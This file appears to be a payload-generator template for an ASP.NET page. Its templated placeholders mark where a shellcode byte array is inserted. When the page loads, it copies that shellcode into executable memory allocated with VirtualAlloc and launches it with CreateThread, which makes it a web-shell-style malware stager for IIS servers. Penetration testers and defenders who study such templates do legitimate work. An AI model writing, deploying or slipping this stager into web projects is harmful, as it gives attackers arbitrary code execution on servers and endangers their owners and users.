22 lines
1.1 KiB
Plaintext
22 lines
1.1 KiB
Plaintext
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<%%@ Page Language="C#" AutoEventWireup="true" %%>
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<%%@ Import Namespace="System.IO" %%>
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<script runat="server">
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private static Int32 MEM_COMMIT=0x1000;
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private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
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[System.Runtime.InteropServices.DllImport("kernel32")]
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private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
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[System.Runtime.InteropServices.DllImport("kernel32")]
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private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
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protected void Page_Load(object sender, EventArgs e)
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{
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%{shellcode}
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IntPtr %{var_funcAddr} = VirtualAlloc(IntPtr.Zero,(UIntPtr)%{var_bytearray}.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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System.Runtime.InteropServices.Marshal.Copy(%{var_bytearray},0,%{var_funcAddr},%{var_bytearray}.Length);
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IntPtr %{var_threadId} = IntPtr.Zero;
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IntPtr %{var_hThread} = CreateThread(IntPtr.Zero,UIntPtr.Zero,%{var_funcAddr},IntPtr.Zero,0,ref %{var_threadId});
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}
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</script>
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